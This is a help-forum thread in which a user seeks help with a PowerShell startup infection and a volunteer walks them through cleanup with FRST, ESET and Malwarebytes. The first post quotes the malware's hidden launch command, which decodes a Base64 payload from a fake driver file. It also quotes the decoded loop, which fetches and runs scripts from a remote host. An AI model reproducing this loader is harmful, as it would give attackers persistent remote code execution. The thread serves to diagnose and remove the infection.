Teapot Posted June 20, 2022 ID:1521199 Share Posted June 20, 2022 Hello, I had a powershell script running at startup. I've done some research, deleted some files, and i don't see the process anymore but i still don't know what it was. This was the commandline for the script "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))} With a little help i could decipher what the script tried to do: while ($true) {try {$r = Invoke-RestMethod -Uri 'http://wmail-service.com/v1/CECCE2DA-EF51-4D10-B16A-726EEBC7E043?v=Downloads_Counter12'if($r -ne ''){Start-Job ([ScriptBlock]::Create($r)) | Wait-Job}}catch {}Start-Sleep 2} I deleted that folder in System32\drivers and i have not seen powershell running anymore but i'm not reassured. Still don't know what started that script. Thanks a bunch for help. ps i'm a developer so there are some unknown exe's on my system, sorry. FRST.txt Addition.txt Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 20, 2022 ID:1521214 Share Posted June 20, 2022 Hello @Teapot You have made more than 1 topic. Please hold ON & standby. I will help you. Do NOT create any other new threads. !!! 1 Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 20, 2022 ID:1521215 Share Posted June 20, 2022 Hello @Teapot I will guide you along on looking for remaining malware. Lets keep these principles as we go along. Removing malware can be unpredictable Please don't run any other scans, download, install or uninstall any programs while I'm working with you. Only run the tools I guide you to. Do not run online games while case is on-going. Do not do any free-wheeling web-surfing. The removal of malware isn't instantaneous, please be patient. Cracked or or hacked or pirated programs are not only illegal, but also will make a computer a malware victim. Having such programs installed, is the easiest way to get infected. It is the leading cause of ransomware encryptions. It is at times also big source of current trojan infections. Please uninstall them now, if any are here, before we start the cleaning procedure. Please stick with me until I give you the "all clear". If your system is running Discord, please be sure to Exit out of it while this case is on-going. 1 Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521217 Share Posted June 20, 2022 my topic was hijacked so i complained and the webmaster has made a new topic for me. Thanks! I will await your instructions. I don't think there's anything active anymore, i don't see strange processes, but i would like an opinion from the expert. Link to post Share on other sites More sharing options...
Solution Maurice Naggar Posted June 20, 2022 Solution ID:1521219 Share Posted June 20, 2022 Please set File Explorer to SHOW ALL folders, all files, including Hidden ones. Use OPTION ONE or TWO of this article Please use thuis guide https://www.tenforums.com/tutorials/7078-turn-off-show-all-folders-windows-10-navigation-pane.html [ 2 ] No, this machine is not in the clear. There is a rogue scheduled task still around that misuses & hijacks for ill a VBS script. This custom script is for Teapot only / for this machine only. Be very sure to Save any work-files you have open at this point. Close & Save any open edits, if any. Next, a custom script to do checks & some cleanups. We will use FRST64 to run a custom script. The system will be rebooted after the script has run. This custom script has some specific things, plus some general aspect to help the system overall. Hoping it will not exceed 60 minutes in execute time. NOTE-1: This script will run a scan using System File Checker to check that all Microsoft operating system files are valid and not corrupt and attempt to correct any invalid files. .It will also run the Windows tool DISM to check Windows integrity. It will rebuild the Winsock. NOTE-2: This should run scans with MS Defender antivirus and remove outstanding action items, if any. Please be sure to Close any open work files, documents, any apps you started yourself before starting this. If there are any CD / DVD / or USB-flash-thumb or USB-storage drives attached, please disconnect any of those. Please save the (attached file named) FIXLIST.txt to the D:\in folder , where you saved FRST64. The script & FRST64 have to be in same folder. They work together. Fixlist.txt <<< - - - - - Then, Start the Windows Explorer and then, go to the folder D:\in . RIGHT click on FRST64 and select RUN as Administrator and allow it to proceed. Reply YES when prompted to allow to run. to run the tool. If the tool warns you the version is outdated, please download and run the updated version. IF Windows prompts you about running this, select YES to allow it to proceed. IF you get a block message from Windows about this tool...... click line More info information on that screen and click button Run anyway on next screen. on the FRST window: Click the Fix button just once, and wait. PLEASE have lots and lots of patience when this starts. You will see a green progress bar start. Lots of patience. If you receive a message that a reboot is required, please make sure you allow it to restart normally. The tool will complete its run after restart. When finished, the tool will make a log ( Fixlog.txt) in the same location from where it was run. Please attach the FIXLOG.txt with your next reply later, at your next opportunity. 1 Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521220 Share Posted June 20, 2022 will do, thanks, see you later. Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521225 Share Posted June 20, 2022 The scan completed in 15 minutes, i attached the log. However i'm having problems with intenet now. I had to get to my laptop to post back. Some sites do work, but others are unreachable. Fixlog.txt Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521228 Share Posted June 20, 2022 Internet problem solved, DHCP was not enabled anymore. Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 20, 2022 ID:1521232 Share Posted June 20, 2022 Got the Fixlog. Serious questions now because I see that Microsoft Defender antivirus settings have a big bunch of Excluded paths. Meaning they are EXEMPT from scanning or monitoring by MS Defender protection. Any idea if you yourself set all these exclusions ??? "C:\Vb"="0" "F:\Setup" "C:\Pd" "G:\" <<<- this means the entire G drive is exempted from Defender protection !!! "C:\in" "C:\Games" "C:\Tools" "C:\Qt5.14" "D:\Games" "C:\Tools\Anvir" "C:\Tools\Anvir\anvir64.exe" 1 Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521233 Share Posted June 20, 2022 Hi Maurice, yes i did those, thanks. Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521234 Share Posted June 20, 2022 The G: drive is where most of my software project are. Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 20, 2022 ID:1521235 Share Posted June 20, 2022 Next, This will be a check with ESET Onlinescanner for viruses, other malware, adwares, & potentially unwanted applications. Go to https://download.eset.com/com/eset/tools/online_scanner/latest/esetonlinescanner.exe It will start a download of "esetonlinescanner.exe" Save the file to your system, such as the Downloads folder, or else to the Desktop. Go to the saved file, and double click it to get it started. When presented with the initial ESET options, click on "Computer Scan". Next, when prompted by Windows, allow it to start by clicking Yes When prompted for scan type, Click on Full scan Look at & tick ( select ) the radio selection "Enable ESET to detect and quarantine potentially unwanted applications" and click on Start scan button. Have patience. The entire process may take an hour or more. There is an initial update download. There is a progress window display. You may step away from machine &. Let it be. That is, once it is under way, you should leave it running. It will run for several hours. At screen "Detections occured and resolved" click on blue button "View detected results" On next screen, at lower left, click on blue "Save scan log" View where file is to be saved. Provide a meaningful name for the "File name:" On last screen, set to Off (left) the option for Periodic scanning Click "save and continue" Please attach the report file so I can review 1 Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521236 Share Posted June 20, 2022 scan in progress.. Link to post Share on other sites More sharing options...
Teapot Posted June 20, 2022 Author ID:1521299 Share Posted June 20, 2022 i'm doing a full scan and it's gonna take some more hours. It will probably ready tomorrow. Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 20, 2022 ID:1521300 Share Posted June 20, 2022 Sure. Good. 😀 1 Link to post Share on other sites More sharing options...
Teapot Posted June 21, 2022 Author ID:1521366 Share Posted June 21, 2022 Here's the scan result. I think FRST already removed the trojan? Thanks!! result.txt Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 21, 2022 ID:1521406 Share Posted June 21, 2022 Yes, I do expect that the fixes I had you do have been very very helpful. get a set of fresh reports to see what is running, what is active. Your machine has the FRST64 report tool on the D:\in folder. We will use that. Go to D:\in folder. RIGHT-click on FRST64 and select Run as Administrator and tap ENTER. And reply YES to allow to proceed. When the tool opens click Yes to the disclaimer. And be very sure to TICK the box for Addition.txt Press the Scan button. It will make a log (FRST.txt & Addition.txt) in the same directory the tool is run Have patience since the run may take something like 10 or so minutes (less depending on your hardware speed) Close Notepad IF those show up on Notepad. Just please Attach the 2 files FRST.txt +Addition.txt with your next reply. 1 Link to post Share on other sites More sharing options...
Teapot Posted June 21, 2022 Author ID:1521409 Share Posted June 21, 2022 Here you are.. Addition.txt FRST.txt Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 21, 2022 ID:1521456 Share Posted June 21, 2022 Thank you for the reports. I would recommend getting a report on the update status of some key apps. Download SecurityCheck by glax24 from here https://tools.safezone.cc/glax24/SecurityCheck/SecurityCheck.exe and save the tool on the desktop. If Windows's SmartScreen block that with a message-window, then Click on the MORE INFO spot and over-ride that and allow it to proceed. This tool is safe. Smartscreen is overly sensitive. Right-click with your mouse on the Securitycheck.exe and select "Run as administrator" and reply YES to allow to run & go forward Wait for the scan to finish. It will open in a text file named SecurityType.txt. Close the file. Attach it with your next reply. You can find this file in a folder called SecurityCheck, C:\SecurityCheck\SecurityCheck.txt 1 Link to post Share on other sites More sharing options...
Teapot Posted June 22, 2022 Author ID:1521498 Share Posted June 22, 2022 I can't get it to download, Chrome and Edge say 'virus detected' and Vivaldi just doesn't download it. Tried a few times. Link to post Share on other sites More sharing options...
Teapot Posted June 22, 2022 Author ID:1521501 Share Posted June 22, 2022 Here you are. SecurityCheck.txt Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 22, 2022 ID:1521560 Share Posted June 22, 2022 There are several applications that are out of date and are in need of attention & updating for the latest releases. Notepad++ (64-bit x64) v.7.7.1 Warning! Download Update LibreOffice 6.2.8.2 v.6.2.8.2 Warning! Download Update PuTTY release 0.73 (64-bit) v.0.73.0.0 Warning! Download Update Oracle VM VirtualBox 6.0.12 v.6.0.12 Warning! Download Update Python 3.5.2 (32-bit) v.3.5.2150.0 Warning! Download Update TeamViewer v.15.25.6 Warning! Download Update WinSCP 5.15.4 v.5.15.4 Warning! Download Update[/b] Total Commander 64-bit (Remove or Repair) v.9.51 Warning! Download Update WinRAR 5.80 beta 1 (64-bit) v.5.80.1 Warning! Download Update IrfanView 4.53 (64-bit) v.4.53 Warning! Download Update paint.net v.4.3.7 Warning! Download Update FastStone Image Viewer 7.4 v.7.4 Warning! Download Update Zoom v.5.8.7 (2058) Warning! Download Update Skype version 8.79 v.8.79 Warning! Download Update qBittorrent 3.3.16 v.3.3.16 Warning! Download Update Java 8 Update 60 (64-bit) v.8.0.600.27 Warning! Download UpdateUninstall old version and install new one (jre-8u333-windows-x64.exe). Java SE Development Kit 8 Update 60 (64-bit) v.8.0.600.27 Warning! This software is no longer supported. Please uninstall it and use Java SE Development Kit (jdk-18_windows-x64_bin.exe). Audacity 3.0.0 v.3.0.0 Warning! Download Update foobar2000 v1.6.8 v.1.6.8 Warning! Download Update Mozilla Firefox 72.0.2 (x64 en-US) v.72.0.2 Warning! Download Update Vivaldi v.5.3.2669.3 Warning! Download Update Google Chrome v.77.0.3865.120 Warning! Download Update Mozilla Thunderbird (x64 en-US) v.91.9.1 Warning! Download Update ---------------------------- [ UnwantedApps ] ----------------------------- AML Free Registry Cleaner 4.6 Warning! Suspected Adware! If this program is not familiar to you it is recommended to uninstall it + A request please I would like to get a copy of what we placed in Quarantine, from the runs I had you do. Please. Using Windows File Explorer, Navigate to C:\FRST folder on your system. Expand the folder so you see all contents. Right click on Quarantine > Send to > Compressed (zipped) folder Upload the archive in your next reply If archive is too big you can upload here > https://wetransfer.com/ Also, Let me know how the situation is at this point as to any new "block" notices, or some other active security issue. Also, please do one new Scan with Malwarebytes. Thank you! 1 Link to post Share on other sites More sharing options...
Teapot Posted June 22, 2022 Author ID:1521564 Share Posted June 22, 2022 Hi Maurice, I have a lot of software on the pc which i hardly use, i just keep it because i have the space. For instance i have more then one version of libre office, a whole drive with all kinds of software. Since work on android has stopped i don't use java anymore. I know it's a bit of a mess, i'm cleaning things up as i have time. I'm sorry, I thought we were ready and i deleted the c:\FRST map. I only have the .txt file but that's not what you're asking. I have not seen any suspicious activity anymore. Can i make you a small donation? I regret not being able to send the quarantine data you request, i wasn't patient enough, i do see the importance of your work. Link to post Share on other sites More sharing options...
Maurice Naggar Posted June 22, 2022 ID:1521571 Share Posted June 22, 2022 I am a volunteer. What you may do is "like" my post. (look for the heart icon at very bottom , right-side ) 😀 It had not occurred to me till sometime yesterday that this pc does not have Malwarebytes. One other action: Malwarebytes for Windows can detect and remove most malware with no further actions required for free. Since it does not appear that this machine has it, go and install Malwarebytes for Windows. See https://support.malwarebytes.com/hc/en-us/articles/360038479134-Download-and-install-Malwarebytes-for-Windows After the setup has completed, run a Threat Scan, open Malwarebytes for Windows and click the blue Scan button. Then, locate the Scan run report; export out a copy; & then attach in with your reply. See https://support.malwarebytes.com/hc/en-us/articles/360038479194-View-Reports-and-History-in-Malwarebytes-for-Windows-v4 ALSO, do this one time adjustment: Start Malwarebytes. Click Settings ( gear ) icon. Next, lets make real sure that Malwarebytes does NOT register with Windows Security Center Click the Security Tab. Scroll down to "Windows Security Center" Click the selection to the left for the line "Always register Malwarebytes in the Windows Security Center". { We want that to be set as Off .... be sure that line's radio-button selection is all the way to the Left. thanks. } This will not affect any real-time protection of the trial of Malwarebytes for Windows 😃. Close Malwarebytes. 1 Link to post Share on other sites More sharing options...
Teapot Posted June 22, 2022 Author ID:1521573 Share Posted June 22, 2022 It won't let me change the Windows Security Option because it's a trial, it says premium only. I'm not sure whether that means i can't turn it off, it seems to be on. In the scan lots of programs i made are flagged as malware. In fact, lots of security programs flag software as malware for the only reason that they are unknown to them. This is false information. Anyway, things like astroclock.exe, rename.exe, movie.exe etc etc are my own. Some are freeware from jcremers.com. I do have malware bytes firewall which i love. mb.txt Link to post Share on other sites More sharing options...
Recommended Posts